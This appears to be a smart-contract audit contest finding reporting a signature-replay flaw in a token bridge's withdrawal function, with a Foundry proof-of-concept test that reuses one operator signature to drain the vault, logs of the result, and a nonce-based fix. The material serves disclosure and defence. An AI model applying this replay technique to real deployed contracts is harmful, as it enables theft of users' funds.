Submission Details
Severity:
Attacker can drain bridge of tokens
Summary
Due to lack of nonce use an attacker can use the same signature multiple times to drain the contract of its tokens through the sendToL1(...) function.
Vulnerability Details
The sendToL1(...) function does not keep track of nonces for operator signed messages. That means that the signatures can be re-used over and over to withdraw funds from the bridge.
Impact
Loss of all tokens in the bridge contract
Test:
function test_UserCanDrainBridge() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
// Supply the vault with some tokens
deal(address(token), address(vault), 100e18);
console2.log("Initial user token balance (ether):", token.balanceOf(user) / 1 ether);
console2.log("Initial vault token balance (ether):", token.balanceOf(address(vault)) / 1 ether);
token.approve(address(tokenBridge), depositAmount);
// User deposits to bridge
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
// Collect signed message
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
// Withdraw tokens multiple times
for (uint i; i < 11; ++i) {
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
}
console2.log("Post-exploit user token balance (ether):", token.balanceOf(user) / 1 ether);
console2.log("Post-exploit vault token balance (ether):", token.balanceOf(address(vault)) / 1 ether);
}
Logs:
Logs:
Initial user token balance (ether): 1000
Initial vault token balance (ether): 100
Post-exploit user token balance (ether): 1100
Post-exploit vault token balance (ether): 0
Tools Used
Manual review
Foundry
Recommendations
Enforce nonce verification for operator signed messages that get incremented upon valid withdrawal.
Updates
Lead Judging Commences
0xnevi over 1 year ago
Submission Judgement Published Assigned finding tags:
withdrawTokensToL1()/sendToL1(): signature replay
Rewards breakdown
nSLOC
99This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
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